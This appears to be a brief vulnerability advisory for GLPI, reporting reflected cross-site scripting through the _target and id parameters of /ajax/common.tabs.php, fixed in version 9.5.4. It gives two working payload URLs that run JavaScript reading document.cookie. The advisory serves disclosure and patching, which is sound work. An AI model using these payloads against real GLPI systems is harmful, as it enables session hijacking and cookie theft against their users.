The vulnerability comes from the /ajax/common.tabs.php endpoint, indeed, at least two parameters _target and id are not properly sanitized. Here are two payloads (due to two different exploitations depending on which parameter you act) to exploit the vulnerability:

/ajax/common.tabs.php?_target=javascript:alert(document.cookie)&_itemtype=DisplayPreference&_glpi_tab=DisplayPreference$2&id=258&displaytype=Ticket (Payload triggered if you click on the button)

/ajax/common.tabs.php?_target=/front/ticket.form.php&_itemtype=Ticket&_glpi_tab=Ticket$1&id=(){};(function%20(){alert(document.cookie);})();function%20a&#

Patches

fixed in 9.5.4